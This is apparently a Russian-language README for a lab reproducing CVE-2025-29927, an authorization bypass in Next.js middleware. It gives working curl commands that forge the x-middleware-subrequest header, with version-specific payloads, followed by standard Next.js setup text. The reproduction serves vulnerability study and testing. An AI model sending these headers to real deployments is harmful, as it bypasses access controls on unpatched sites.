
Среда воспроизведения для CVE-2025-29927, демонстрирующая обход авторизации промежуточного ПО Next.js через заголовок x-middleware-subrequest. Включает шаги эксплуатации с использованием curl для нескольких версий Next.js.
Этот репозиторий является воспроизведением уязвимости CVE-2025-29927 в пакете next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 раз в специальный заголовок x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
В версиях Next.js 12 и 13 использовалось другое соглашение об именовании файла промежуточного ПО (_middleware.js), которое было изменено на middleware.js в Next.js 14. Эту уязвимость можно эксплуатировать в старых версиях, используя файл _middleware.js.
Например, в зависимости от версии Next.js и соглашения о маршрутизации будут применимы следующие полезные нагрузки:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (для версий Next.js 12.2 с файлом middleware.js в корне приложения, а не внутри каталога pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (для версий Next.js 11 и до 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloСначала запустите сервер разработки:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Откройте http://localhost:3000 в своём браузере, чтобы увидеть результат.
Вы можете начать редактировать страницу, изменив app/page.js. Страница автоматически обновляется по мере редактирования файла.
Этот проект использует next/font для автоматической оптимизации и загрузки Geist, нового семейства шрифтов для Vercel.
Чтобы узнать больше о Next.js, ознакомьтесь с этими ресурсами:
Вы можете посетить репозиторий Next.js на GitHub — ваши отзывы и вклад приветствуются!
Самый простой способ развернуть приложение Next.js — использовать Платформу Vercel от создателей Next.js.
Ознакомьтесь с нашей документацией по развёртыванию Next.js для получения дополнительных сведений.
Пожалуйста, ознакомьтесь с CONTRIBUTING для получения рекомендаций по участию в этом проекте.